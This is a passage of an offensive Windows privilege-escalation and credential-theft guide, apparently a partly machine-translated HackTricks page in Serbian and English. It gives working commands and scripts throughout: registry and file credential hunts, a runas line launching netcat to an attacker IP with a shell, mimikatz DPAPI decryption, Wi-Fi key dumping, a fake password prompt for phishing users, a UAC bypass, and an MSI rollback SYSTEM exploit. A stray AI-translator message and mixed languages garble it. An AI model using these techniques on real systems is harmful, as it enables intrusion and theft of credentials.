reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
Upravljač akreditiva / Windows vault
From https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault čuva korisničke akreditive za servere, web-sajtove i druge programe za koje Windows može log in the users automatically. Na prvi pogled, može delovati kao da korisnici mogu sačuvati svoje Facebook, Twitter, Gmail akreditive itd., kako bi se automatski prijavljivali putem pregledača. Ali nije tako.
Windows Vault čuva akreditive koje Windows može automatski koristiti za prijavu korisnika, što znači da bilo koja Windows application that needs credentials to access a resource (server ili web-sajt) can make use of this Credential Manager & Windows Vault i koristi dostavljene akreditive umesto da korisnici stalno unose korisničko ime i lozinku.
Ako aplikacije ne komuniciraju sa Credential Manager, mislim da nije moguće da koriste akreditive za određeni resurs. Dakle, ako vaša aplikacija želi da koristi vault, ona bi na neki način trebalo da communicate with the credential manager and request the credentials for that resource iz podrazumevanog storage vault-a.
Koristite cmdkey
da prikažete sačuvane akreditive na mašini.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Zatim možete koristiti runas
sa opcijom /savecred
kako biste koristili sačuvane kredencijale. Sledeći primer poziva udaljeni binarni fajl preko SMB share-a.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Korišćenje runas
sa obezbeđenim skupom kredencijala.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
Imajte na umu da mimikatz, lazagne, credentialfileview, VaultPasswordView, ili iz Empire Powershells module.
DPAPI
The API za zaštitu podataka (DPAPI) pruža metodu za simetrično šifrovanje podataka, uglavnom korišćenu u Windows operativnom sistemu za simetrično šifrovanje asimetričnih privatnih ključeva. Ovo šifrovanje koristi korisničku ili sistemsku tajnu koja značajno doprinosi entropiji.
DPAPI omogućava šifrovanje ključeva putem simetričnog ključa koji je izveden iz login tajni korisnika. U scenarijima koji uključuju sistemsko šifrovanje, koristi se domen-authentication tajna sistema.
Šifrovani korisnički RSA ključevi, koristeći DPAPI, čuvaju se u direktorijumu %APPDATA%\Microsoft\Protect{SID}, gde {SID}
predstavlja korisnikov Security Identifier. DPAPI ključ, smešten zajedno sa master ključem koji čuva privatne ključeve korisnika u istoj datoteci, obično se sastoji od 64 bajta nasumičnih podataka. (Važno je napomenuti da je pristup ovom direktorijumu ograničen, što sprečava listanje njegovog sadržaja putem dir
komande u CMD, iako se može listati kroz PowerShell).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
Možete koristiti mimikatz module dpapi::masterkey
sa odgovarajućim argumentima (/pvk
ili /rpc
) da ga dekriptujete.
credentials files protected by the master password obično se nalaze u:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Možete koristiti mimikatz module dpapi::cred
sa odgovarajućim /masterkey
za decrypt.
Možete extract mnoge DPAPI masterkeys iz memory pomoću sekurlsa::dpapi
modula (ako ste root).
PowerShell Credentials
PowerShell credentials se često koriste za scripting i automation zadatke kao praktičan način za čuvanje encrypted credentials. Credentials su zaštićene pomoću DPAPI, što obično znači da ih može decrypt samo isti korisnik na istom računaru na kojem su kreirani.
Da biste decrypt PS credentials iz fajla koji ga sadrži, možete uraditi:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Sačuvane RDP konekcije
Nalaze se u HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
i u HKCU\Software\Microsoft\Terminal Server Client\Servers\
Nedavno pokrenute komande
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Upravljač akreditivima Remote Desktop
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Koristite Mimikatz dpapi::rdg
modul sa odgovarajućim /masterkey
da biste dekriptovali bilo koje .rdg fajlove
Možete izvući mnoge DPAPI masterkeys iz memorije pomoću Mimikatz sekurlsa::dpapi
modula
Sticky Notes
Ljudi često koriste StickyNotes aplikaciju na Windows radnim stanicama da bi sačuvali lozinke i druge informacije, ne shvatajući da je to fajl baze podataka. Ovaj fajl se nalazi na C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
i uvek vredi tražiti i pregledati.
AppCmd.exe
Napomena: da biste povratili lozinke iz AppCmd.exe morate biti Administrator i pokretati ga na High Integrity level.
AppCmd.exe se nalazi u direktorijumu %systemroot%\system32\inetsrv\
.\
Ako ovaj fajl postoji, moguće je da su neke credentials konfigurisane i da se mogu recovered.
Ovaj kod je izvučen iz PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
Proverite da li C:\Windows\CCM\SCClient.exe
postoji .
Instaleri se pokreću sa SYSTEM privileges, mnogi su ranjivi na DLL Sideloading (Informacije sa https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
Datoteke i Registry (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH host ključevi
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
SSH keys in registry
SSH private keys mogu biti pohranjene unutar registry key HKCU\Software\OpenSSH\Agent\Keys
, pa bi trebalo da proverite da li se tamo nalazi nešto interesantno:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Ako pronađete bilo koji unos na toj putanji, verovatno je u pitanju sačuvan SSH ključ. Skladišti se enkriptovano, ali se lako dešifruje korišćenjem https://github.com/ropnop/windows_sshagent_extract.
Više informacija o ovoj tehnici ovde: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
Ako ssh-agent
servis nije pokrenut i želite da se automatski pokreće pri pokretanju sistema, pokrenite:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
tip
Izgleda da ova tehnika više nije validna. Pokušao sam da napravim neke ssh keys, dodam ih sa ssh-add
i prijavim se preko ssh na mašinu. Registar HKCU\Software\OpenSSH\Agent\Keys ne postoji i procmon nije identifikovao upotrebu dpapi.dll
tokom autentikacije pomoću asimetričnih ključeva.
Datoteke bez nadzora
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Takođe možete pretražiti ove datoteke koristeći metasploit: post/windows/gather/enum_unattend
Primer sadržaja:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM rezervne kopije
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Kredencijali za cloud
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
Potražite fajl pod imenom SiteList.xml
Kešovana GPP lozinka
Ranije je postojala funkcija koja je omogućavala raspoređivanje prilagođenih lokalnih administratorskih naloga na grupu računara putem Group Policy Preferences (GPP). Međutim, ova metoda je imala značajne bezbednosne propuste. Prvo, Group Policy Objects (GPOs), koji su pohranjeni kao XML fajlovi u SYSVOL, mogli su biti pristupljeni od strane bilo kog korisnika domena. Drugo, lozinke u tim GPP-ovima, šifrovane AES256 koristeći javno dokumentovani podrazumevani ključ, mogle su biti dešifrovane od strane bilo kog autentifikovanog korisnika. Ovo je predstavljalo ozbiljan rizik, jer bi korisnicima moglo omogućiti dobijanje povišenih privilegija.
Kako bi se ublažio ovaj rizik, razvijena je funkcija koja skenira lokalno keširane GPP fajlove koji sadrže polje "cpassword" koje nije prazno. Kada pronađe takav fajl, funkcija dešifruje lozinku i vraća prilagođeni PowerShell objekat. Ovaj objekat uključuje detalje o GPP-u i lokaciji fajla, pomažući u identifikaciji i otklanjanju ove bezbednosne ranjivosti.
Search in C:\ProgramData\Microsoft\Group Policy\history
or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (pre Windows Vista) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
Za dešifrovanje cPassword:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Korišćenje crackmapexec za dobijanje passwords:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web konfiguracija
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Primer web.config fajla sa kredencijalima:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN podaci za prijavu
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
Logs
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Tražite credentials
Uvek možete zatražiti od korisnika da unese svoje credentials ili čak credentials drugog korisnika ako mislite da on može da ih zna (imajte u vidu da je traženje od klijenta direktno za credentials zaista rizično):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
Mogući nazivi fajlova koji sadrže credentials
Poznati fajlovi koji su pre nekog vremena sadržali passwords u clear-text ili Base64
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
Ne mogu direktno pretraživati fajlove na vašem računaru ili repozitorijumu. Pošaljite sadržaj fajla(s) koje želite da prevedem (ili listu fajlova/pokretanje tree/URL repozitorijuma), pa ću ih prevesti na srpski uz zadržavanje postojeće markdown i HTML sintakse i pravila koje ste naveli.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
Kredencijali u RecycleBin-u
Takođe proverite Bin da biste potražili kredencijale u njemu
Za oporavak lozinki sačuvanih od strane više programa možete koristiti: http://www.nirsoft.net/password_recovery_tools.html
Unutar registra
Ostali mogući ključevi registra sa kredencijalima
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
Istorija pregledača
Treba da proverite dbs gde se čuvaju passwords iz Chrome or Firefox.
Takođe proverite istoriju, bookmarks i favourites pregledača — moguće je da su neki passwords are sačuvani tamo.
Alati za izvlačenje passwords iz pregledača:
- Mimikatz:
dpapi::chrome
- SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
Component Object Model (COM) je tehnologija ugrađena u Windows operativni sistem koja omogućava međusobnu komunikaciju između softverskih komponenti napisanih u različitim jezicima. Svaka COM komponenta je identified via a class ID (CLSID) i svaka komponenta izlaže funkcionalnost putem jedne ili više interfejsa, identifikovanih preko interface IDs (IIDs).
COM klase i interfejsi su definisani u registru pod HKEY\CLASSES\ROOT\CLSID i HKEY\CLASSES\ROOT\Interface respektivno. Ovaj registar se kreira spajanjem HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).
U suštini, ako možete overwrite any of the DLLs koje će biti izvršene, mogli biste escalate privileges ako će taj DLL biti izvršen od strane drugog korisnika.
Da biste saznali kako napadači koriste COM Hijacking kao mehanizam za persistenciju, pogledajte:
Generička pretraga Password-a u fajlovima i registru
Pretražite sadržaj fajlova
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Pretraži datoteku sa određenim imenom
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Pretražite registry za nazive ključeva i lozinke
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
Alati koji traže lozinke
MSF-Credentials Plugin is a msf plugin. Napravio sam ovaj plugin da automatically execute every metasploit POST module that searches for credentials inside the victim.
Winpeas automatski traži sve fajlove koji sadrže lozinke pomenute na ovoj stranici.
Lazagne je još jedan odličan alat za izvlačenje lozinki iz sistema.
Alat SessionGopher pretražuje sessions, usernames i passwords nekoliko alata koji čuvaju ove podatke u clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
Zamislite da proces koji se izvodi kao SYSTEM otvori novi proces (OpenProcess()
) sa full access. Isti proces takođe kreira novi proces (CreateProcess()
) sa niskim privilegijama ali koji nasleđuje sve open handles glavnog procesa.
Ako imate full access na nisko privilegovanom procesu, možete dohvatiti open handle ka privilegovanom procesu kreiranom pomoću OpenProcess()
i inject a shellcode.
Pročitajte ovaj primer za više informacija o kako otkriti i iskoristiti ovu ranjivost.
Pročitajte ovaj drugi post za potpunije objašnjenje kako testirati i zloupotrebiti više open handlers procesa i thread-ova nasleđenih sa različitim nivoima dozvola (ne samo full access).
Named Pipe Client Impersonation
Segmenti deljene memorije, nazvani pipes, omogućavaju komunikaciju između procesa i prenos podataka.
Windows pruža funkcionalnost zvanu Named Pipes, koja omogućava nepovezanim procesima da dele podatke, čak i preko različitih mreža. Ovo podseća na client/server arhitekturu, sa ulogama definisanim kao named pipe server i named pipe client.
Kada podatke kroz pipe pošalje client, server koji je napravio pipe ima mogućnost da preuzme identitet client-a, pod uslovom da poseduje neophodna prava SeImpersonate. Pronalaženje privilegovanog procesa koji komunicira preko pipe-a koji možete imitirati daje priliku da dobijete više privilegija preuzimanjem identiteta tog procesa kada on stupi u interakciju sa pipe-om koji ste uspostavili. Za uputstva kako izvesti ovakav napad, korisni vodiči su dostupni ovde i ovde.
Takođe, sledeći alat omogućava da intercept-ujete named pipe komunikaciju alatkom kao što je burp: https://github.com/gabriel-sztejnworcel/pipe-intercept a ovaj alat omogućava listanje i pregled svih pipe-ova kako biste našli privescs https://github.com/cyberark/PipeViewer
Ostalo
Ekstenzije fajlova koje mogu izvršavati kod u Windows-u
Pogledajte stranicu https://filesec.io/
Praćenje komandnih linija zbog lozinki
Kada dobijete shell kao korisnik, mogu postojati zakazani zadaci ili drugi procesi koji se izvršavaju i koji prosleđuju kredencijale putem komandne linije. Skripta ispod hvata komandne linije procesa na svake dve sekunde i upoređuje trenutno stanje sa prethodnim, ispisujući sve razlike.
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
Krađa lozinki iz procesa
Iz Low Priv User do NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
Ako imate pristup grafičkom interfejsu (preko console ili RDP) i UAC je omogućen, u nekim verzijama Microsoft Windows moguće je pokrenuti terminal ili bilo koji drugi proces kao "NT\AUTHORITY SYSTEM" iz naloga bez privilegija.
Ovo omogućava eskalaciju privilegija i UAC Bypass istovremeno koristeći istu ranjivost. Pored toga, nema potrebe ništa instalirati, a binarni fajl koji se koristi tokom procesa je potpisan i izdat od strane Microsoft-a.
Neki od pogođenih sistema su sledeći:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
Da biste iskoristili ovu ranjivost, potrebno je izvršiti sledeće korake:
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
You have all the necessary files and information in the following GitHub repository:
https://github.com/jas502n/CVE-2019-1388
From Administrator Medium to High Integrity Level / UAC Bypass
Pročitajte ovo da biste saznali o Integrity Levels:
Zatim pročitajte ovo da biste saznali o UAC i UAC bypasses:
From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
Tehnika opisana u ovom blog postu in this blog post sa exploit kodom available here.
Napad se u suštini sastoji od zloupotrebe rollback funkcionalnosti Windows Installer-a da zameni legitimne fajlove malicioznim tokom procesa deinstalacije. Za ovo napadaču je potrebno da kreira malicious MSI installer koji će biti iskorišćen za hijack-ovanje C:\Config.Msi
foldera, koji će kasnije Windows Installer koristiti za skladištenje rollback fajlova tokom deinstalacije drugih MSI paketa gde su rollback fajlovi modifikovani da sadrže maliciozni payload.
Sažeta tehnika je sledeća:
- Stage 1 – Preparing for the Hijack (leave
C:\Config.Msi
empty)
-
Step 1: Install the MSI
-
Kreirajte
.msi
koji instalira bezopasan fajl (npr.dummy.txt
) u writable folder (TARGETDIR
). -
Obeležite installer kao "UAC Compliant", tako da ga non-admin user može pokrenuti.
-
Zadržite otvoren handle ka fajlu nakon instalacije.
-
Step 2: Begin Uninstall
-
Deinstalirajte isti
.msi
. -
Proces deinstalacije počinje pomeranje fajlova u
C:\Config.Msi
i preimenovanje u.rbf
fajlove (rollback backup). -
Poll the open file handle koristeći
GetFinalPathNameByHandle
da detektujete kada fajl postaneC:\Config.Msi\<random>.rbf
. -
Step 3: Custom Syncing
-
.msi
uključuje custom uninstall action (SyncOnRbfWritten
) koja: -
Signalizira kada je
.rbf
napisan. -
Zatim čeka na drugi event pre nego što nastavi deinstalaciju.
-
Step 4: Block Deletion of
.rbf
-
Kada se signal pošalje, otvorite
.rbf
fajl bezFILE_SHARE_DELETE
— ovo sprečava njegovo brisanje. -
Zatim signalizirajte nazad tako da deinstalacija može da se završi.
-
Windows Installer ne može da obriše
.rbf
, i pošto ne može da obriše sav sadržaj,C:\Config.Msi
se ne briše. -
Step 5: Manually Delete
.rbf
-
Vi (napadač) ručno obrišete
.rbf
fajl. -
Sada je
C:\Config.Msi
prazan, spreman za hijack.
U ovom trenutku, trigger the SYSTEM-level arbitrary folder delete vulnerability da obrišete
C:\Config.Msi
.
- Stage 2 – Replacing Rollback Scripts with Malicious Ones
-
Step 6: Recreate
C:\Config.Msi
with Weak ACLs -
Ponovo kreirajte
C:\Config.Msi
folder sami. -
Postavite weak DACLs (npr. Everyone:F), i zadržite otvoren handle sa
WRITE_DAC
. -
Step 7: Run Another Install
-
Instalirajte
.msi
ponovo, sa: -
TARGETDIR
: Writable lokacija. -
ERROROUT
: Varijabla koja izaziva namerno neuspeh. -
Ova instalacija će biti korišćena da ponovo pokrene rollback, koji čita
.rbs
i.rbf
. -
Step 8: Monitor for
.rbs
-
Koristite
ReadDirectoryChangesW
da nadgledateC:\Config.Msi
dok se ne pojavi novi.rbs
. -
Uhvatite njegovo ime fajla.
-
Step 9: Sync Before Rollback
-
.msi
sadrži custom install action (SyncBeforeRollback
) koja: -
Signalizira event kada je
.rbs
kreiran. -
Zatim čeka pre nego što nastavi.
-
Step 10: Reapply Weak ACL
-
Nakon što primite
.rbs created
event: -
Windows Installer ponovo primenjuje strong ACLs na
C:\Config.Msi
. -
Ali pošto i dalje imate handle sa
WRITE_DAC
, možete ponovo primeniti weak ACLs.
ACLs su enforced samo pri otvaranju handle-a, tako da i dalje možete pisati u folder.
-
Step 11: Drop Fake
.rbs
and.rbf
-
Overwrite-ujte
.rbs
fajl lažnim rollback skriptom koji govori Windows-u da: -
Restore-uje vaš
.rbf
fajl (maliciozni DLL) u privileged location (npr.C:\Program Files\Common Files\microsoft shared\ink\HID.DLL
). -
Drop-ujte lažni
.rbf
koji sadrži maliciozni SYSTEM-level payload DLL. -
Step 12: Trigger the Rollback
-
Signalizirajte sync event tako da installer nastavi.
-
A type 19 custom action (
ErrorOut
) je konfigurisana da namerno izazove neuspeh instalacije u poznatoj tački. -
Ovo uzrokuje da rollback počne.
-
Step 13: SYSTEM Installs Your DLL
-
Windows Installer:
-
Čita vaš maliciozni
.rbs
. -
Kopira vaš
.rbf
DLL u ciljni location. -
Sada imate maliciozni DLL u SYSTEM-loaded path.
-
Final Step: Execute SYSTEM Code
-
Pokrenite pouzdan auto-elevated binary (npr.
osk.exe
